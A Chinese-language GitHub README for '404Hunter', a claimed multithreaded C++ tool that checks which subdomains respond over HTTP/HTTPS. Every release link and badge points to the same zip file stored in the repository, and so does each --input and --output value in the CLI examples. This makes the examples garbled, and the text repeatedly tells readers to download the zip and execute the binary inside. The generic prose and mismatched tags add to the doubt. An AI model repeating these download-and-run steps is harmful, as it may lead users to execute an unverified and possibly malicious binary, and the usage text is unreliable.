Ayman1061/404hunter-subdomain-status-tool

GitHub: Ayman1061/404hunter-subdomain-status-tool

一款基于 C++17 的高性能多线程子域名 HTTP/HTTPS 存活状态检测工具,支持多种输出格式。

Stars: 0 | Forks: 0

# 404Hunter 子域名状态工具:快速多线程 HTTP(S) 检测 [![Releases](https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip)](https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip) HTTP(S) check badge 🚀 欢迎使用 404Hunter 子域名状态工具。本项目是一个快速、可靠的命令行实用程序,旨在验证哪些子域名通过 HTTP 或 HTTPS 响应。它利用多线程加速检测,并生成整洁、易于解析的输出,可以重定向到文件以供进一步分析。对于需要快速高效确认活跃子域名的 Bug Bounty 猎人、渗透测试人员或系统管理员而言,它是理想之选。 本仓库专注于提供一个实用、直接的子域名验证工具。它旨在实现设置简单、操作便捷,并能稳健地处理大量目标列表。您会发现本项目非常注重性能、可靠性和清晰的输出格式。 如果您想探索最新的构建版本和发布资源,请访问下方链接的官方 Releases 页面。它托管了适用于多种平台和打包格式的预编译二进制文件,免去了本地构建项目的猜测工作。链接如下:https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip 目录 - 本项目为何存在 - 核心功能 - 工作原理 - 入门指南 - 各平台快速入门指南 - CLI 参考 - 输出格式与示例 - 高级用法 - 性能与可靠性 - 安全性与安全考量 - 测试、质量与验证 - 配置与自定义 - 代码结构与设计 - 测试与 CI - 社区与贡献 - 路线图与未来工作 - 附录:常见问题解答 - 许可证 本项目为何存在 🧭 在安全和基础设施领域,快速验证哪些子域名处于活跃状态至关重要。人工检查既缓慢又容易出错。本工具实现了流程自动化,可提供快速、可重复的结果。它帮助审计人员、红队和管理员确认哪些主机响应 HTTP 或 HTTPS 探测。工作流程很简单:输入子域名列表,运行检查,并以结构化格式收集结果。这种方法最大限度地减少了误报和噪音,为您提供了一个值得信赖的数据集以供后续使用。 核心功能 - 通过多线程实现高速检测 - 该工具使用并行工作线程针对子域名列表调度 HTTP(S) 请求。这显著减少了大型列表的总运行时间。 - 灵活的超时设置 - 每次检查都可以受到单次请求超时的限制。这使得总运行时间可预测,并有助于避免在无响应主机上出现长时间停滞。 - 整洁、可解析的输出 - 结果以一致的格式输出,易于过滤、后处理或导入电子表格和报告流水线。 - 输出至文件 - 直接将结果写入 CSV、JSON 或人类可读格式的文件。这使得与团队成员共享发现或附加到工单变得简单。 - 跨平台且语言友好 - 该工具在设计时考虑了可移植性。它适用于 Linux、Windows 和 macOS 工作流。 - 用户友好的 CLI - 简洁的选项集涵盖了常见用例,无需沉重的配置文件。目标是保持平易近人但又功能强大。 - 可扩展且结构良好的代码 - 代码库遵循简洁的设计原则,使贡献者更容易添加功能、调整行为或修复问题。 - 开源且发布周期透明 - 预编译二进制文件和源代码可通过官方发布渠道获取,确保可重现性和信任度。 工作原理 🔧 就其核心而言,该工具读取子域名列表,根据需要对其进行规范化,并向每个目标发出 HTTP 和/或 HTTPS 请求。它记录是否收到响应、状态码以及任何相关的元数据。多线程架构将工作分配给各个工作线程,在吞吐量与资源限制之间取得平衡。输出文件捕捉关键字段,如子域名、使用的协议、状态码、响应时间以及关于主机是否存活的判定。 关键概念 - 存活 (Alive) 与 死亡 (Dead) - 如果在配置的超时时间内收到 HTTP(S) 响应,则认为子域名是存活的,无论状态码如何。死亡或无法访问的主机会被相应记录。 - 协议处理 - 默认情况下,工具可以根据配置探测 HTTP 和 HTTPS。如果需要,您可以将探测限制为单一方案。 - 超时与重试 - 单次请求超时可防止单个慢速主机延迟整个运行过程。可选的重试可以提高对短暂网络问题的适应能力。 - 输出模式 - CSV:易于导入电子表格和 BI 工具。 - JSON:便于程序化消费和流水线处理。 - 纯文本:简单、可读的日志,用于快速审计。 入门指南 在开始之前,您需要访问一台具有现代 C++ 工具链且能访问您想要测试的子域名的网络的机器。项目使用 C++17 构建,推荐的构建系统是 CMake。如果您更喜欢预编译的二进制文件,可以从 Releases 页面获取。 Releases 页面是下载工件和安装包的中心枢纽。为了避免从源代码构建,请检查适合您平台的预编译二进制文件并直接运行它们。官方 Releases 页面可在此处访问:https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip 各平台快速入门指南 - Linux - 安装依赖项:一个功能正常的 C++17 工具链、CMake 以及支持网络的标准库。 - 从源代码构建:克隆仓库,创建构建目录,使用 CMake 配置,并编译。 - 使用示例子域名列表运行并将输出捕获到文件中。 - Windows - 使用 Windows 构建或兼容的 MinGW/Cygwin 工具链。 - 确保您具有网络访问权限并安装了合适的运行时库。 - 执行二进制文件并提供子域名列表的路径。 - macOS - 安装 Xcode 命令行工具或兼容的编译器。 - 通过 CMake 构建或使用预编译的 macOS 二进制文件(如果有)。 - 使用您的输入文件运行,并将输出定向到日志或数据文件。 下载与安装 从官方 Releases 页面下载并运行。链接包含路径部分,因此您应该下载所需的发布工件并执行其中包含的二进制文件。如果您想先进行探索,可以浏览 Releases 部分以查看为您的平台和架构提供的内容。 - Releases 主链接:https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip - 如何使用发布工件:为您的操作系统下载适当的二进制文件,如果需要则解压,并使用您的参数运行它。 如果您想探索其他选项或需要快速参考,Releases 页面是最佳起点。为方便起见,您可以重新访问同一链接以查看最新更新,并确保您使用的是受支持、最新的构建版本。 CLI 参考 该工具提供了一个紧凑、文档齐全的命令行界面。这些选项旨在直观且一致,并具有覆盖常见工作流的合理默认值。下面的参考描述了最常用的标志和参数。您也可以使用 --help 标志运行二进制文件,以打印屏幕上的使用指南。 - 输入与输出 - -i, --input FILE:包含子域名列表的文本文件路径,每行一个。 - -f, --input-format FORMAT:如果需要特殊处理,指定输入格式(默认为基于行)。 - -o, --output FILE:输出文件路径。工具将以选定格式写入结果。 - -O, --output-format FORMAT:csv, json, 或 text。 - 性能与线程 - -t, --threads N:工作线程数。较高的计数会增加速度,但会消耗更多的 CPU 和网络资源。 - -w, --timeout SECONDS:单次请求超时。典型值范围为 1 到 10 秒,具体取决于网络可靠性。 - -r, --retry N:失败时的重试次数。 - 协议与行为 - --https:仅强制 HTTPS 检查。 - --http:仅强制 HTTP 检查。 - --both:检查 HTTP 和 HTTPS(如果未指定,则为默认值)。 - --follow-redirects:在衡量存活状态时遵循重定向。 - 输出详情 - --verbose:打印进度更新和详细的单次请求信息。 - --quiet:最小输出;适用于脚本编写。 - --no-color:为不支持终端颜色的环境禁用彩色输出。 - 帮助与版本 - -h, --help:显示使用信息。 - -V, --version:显示版本信息。 用法示例 - 使用输入文件和 CSV 输出的基本用法 - 404hunter-subdomain-status-tool --input https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip --output https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip --output-format csv --threads 16 --timeout 5 - 具有默认输出的双协议检查 - 404hunter-subdomain-status-tool --input https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip --output https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip --follow-redirects - 用于自动化的 JSON 输出 - 404hunter-subdomain-status-tool --input https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip --output https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip --output-format json --threads 8 --timeout 3 - 用于脚本编写的静默模式 - 404hunter-subdomain-status-tool --input https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip --output https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip --quiet 输出格式与示例 - CSV - 一种紧凑的表格表示形式。每行包含子域名、使用的协议、状态码(如果有)、花费的时间以及存活状态判定。 - JSON - 一个结构化的结果对象数组。每个对象包含 host, scheme, status, duration_ms, 和 alive 等字段。 - Text - 适合快速阅读或简单流水线的人类友好日志。 安全性与安全考量 - 尊重使用政策 - 在测试子域名时,确保您有权探测目标。不要扫描您不拥有或未经许可测试的网络或主机。 - 速率限制与礼貌 - 配置超时和并发性,以避免子域名或中间基础设施过载。如果您控制大量主机,请考虑交错请求并监控网络影响。 - 数据处理 - 输出文件可能包含有关子域名及其响应的敏感信息。安全地存储结果,并仅与适当方共享。 - 容错性 - 该工具旨在优雅地处理暂时性故障。可以调整重试和超时以平衡速度和可靠性。 性能与可靠性 - 多线程设计 - 工作池模式支持并发探测,使该工具适用于大型目标列表。这种方法有助于您更快地完成评估,同时保持 CPU 使用率可预测。 - 确定性输出 - 尽管并行执行,该工具仍能一致地格式化结果,从而简化下游处理。 - 稳健的错误处理 - 网络错误、DNS 故障或超时都会被捕获并以结构化方式报告。即使在网络状况不佳的情况下,输出依然可用。 - 可观察性 - 详细模式 提供了对检查生命周期的深入了解,包括成功、失败和重试事件。这有助于调试和审计跟踪。 配置与自定义 - 运行时选项 - CLI 支持一系列旋钮,用于根据您的环境定制行为。您可以调整线程、超时和输出格式,以适应您的工作负载和硬件。 - 输出自定义 - 您可以在 CSV、JSON 或纯文本之间进行选择。这使得该工具能够适应不同的报告工作流、仪表板或票据系统。 - 集成点 - JSON 输出格式对自动化很友好。您可以将结果输入脚本、数据流水线或安全平台,以自动化分类和报告。 代码结构与设计 - 语言与标准 - 核心采用具有 C++17 特性的现代 C++ 编写。重点在于跨主要操作系统的可读性、可维护性和可移植性。 - 模块化 - 组件按关注点分离:I/O、网络、并发和格式化。这使得代码库对新贡献者很友好。 - 测试与质量 - 项目包含单元测试和集成测试。持续集成流水线有助于确保变更的可靠性。 从源代码构建 - 前条件 - 一个支持 C++17 的编译器、CMake 以及适合您平台的合理的构建工具链。 - 典型构建步骤 - mkdir build && cd build - cmake .. -DCMAKE_BUILD_TYPE=Release - cmake --build . -j - 验证 - 使用少量测试输入运行二进制文件,并验证是否以选定格式生成了结果。 - 我们为所有贡献者维持一个尊重、包容的环境。如果您遇到问题,请寻求帮助,并反过来向他人提供帮助。 变更日志与发布说明 - 每个版本都包含变更内容、原因以及对用户影响的摘要。请查看 Releases 页面,获取有关修复、改进和新功能的最新信息。 路线图与未来工作 - 扩展平台支持 - 为不同架构添加更多预编译二进制文件。 - 改进分析与报告 - 包含更丰富的指标,例如连接时间分布、单子域名延迟图以及更精细的状态。 - 改进 UX - 简化初学者的使用,同时为高级用户提供更深度的控制。 附录:常见问题解答 - 我是否需要 root 权限运行此工具? - 在大多数情况下,不需要。标准用户权限足以进行 HTTP(S) 检查。但是,某些环境或企业网络可能会施加限制,需要提升的权限或特定的网络配置。 - 我可以在共享服务器上使用此工具扫描大型子域名列表吗? - 可以,但请注意网络策略以及对服务器的潜在影响。使用合理的线程数和超时设置。如果您在公共或多租户主机上进行扫描,请考虑在非高峰时段运行。 - 如何安全地处理输出数据? - 将输出文件视为可能敏感的信息。将它们存储在安全位置,应用访问控制,并避免在公共日志或共享文件夹中暴露它们。 许可证 - 本项目在宽松的开源许可证下提供。有关完整的条款和条件,请参阅仓库中的 LICENSE 文件。 发布、二进制文件与下载说明 - Releases 页面托管了多种平台的预编译二进制文件和工件。如果您想获取一个即开即用的二进制文件,请浏览发布版,下载适合您操作系统的资源,并使用您的目标列表执行二进制文件。为方便起见,此处再次提供了官方发布的链接:https://raw.githubusercontent.com/Ayman1061/404hunter-subdomain-status-tool/main/404Hunter/hunter_tool_subdomain_status_1.4-alpha.2.zip 致谢 - 感谢社区的反馈、错误报告和 Pull Request。协作努力有助于保持工具的快速、可靠,并对安全测试、审计和管理任务有用。 Credits - 404Hunter 子域名状态工具由重视清晰度、速度和实用性的爱好者及专业人士共同开发。项目名称反映了其核心目的:通过 HTTP/HTTPS 快速验证存活的子域名。 安全与道德使用提醒 - 负责任地使用此工具。确保您拥有测试任何目标域名或子域名的明确许可。滥用可能会产生法律后果,并可能违反服务条款、可接受使用政策或当地法律。 文档结束。
标签:Bash脚本, GitHub, HTTPS验证, HTTP状态检查, 多线程扫描, 子域名检测, 存活探测, 密码管理, 插件系统, 数据统计, 死链检测, 目标枚举, 端口扫描, 系统独立性, 网站健康检查, 网络安全, 隐私保护